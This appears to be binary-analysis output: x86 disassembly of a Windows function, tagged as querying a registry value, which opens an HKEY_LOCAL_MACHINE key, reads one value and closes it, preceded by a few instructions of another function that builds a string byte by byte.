jb 0x42faa1
mov esi, 0xf045c60c
dec eax
mov byte [ebp - 0x10], 0x48
mov byte [ebp - 7], 0
mov byte [ebp - 0xf], 0x66
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xd], 0x58
mov byte [ebp - 8], 0x78
Function at 0x42fbb3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push 0x22
push 0
lea eax, [ebp - 0x138]
push eax
call fcn.0042ee6e
add esp, 0xc
push 0x21
push 0x420d08
lea ecx, [ebp - 0x138]
push ecx
call fcn.00433167
add esp, 0xc
lea edx, [ebp - 0x110]
push edx
push 1
push 0
lea eax, [ebp - 0x138]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jne 0x42fcbb
push 0x22
push 0
lea ecx, [ebp - 0x138]
push ecx
call fcn.0042ee6e
add esp, 0xc
push 0xb
push 0x420d2c
lea edx, [ebp - 0x138]
push edx
call fcn.00433167
add esp, 0xc
mov dword [ebp - 0x13c], 0x105
lea eax, [ebp - 0x13c]
push eax
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x10c]
push edx
push 0
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jne 0x42fcae
push 0x105
lea edx, [ebp - 0x108]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00433167
add esp, 0xc
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x42fcbd
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret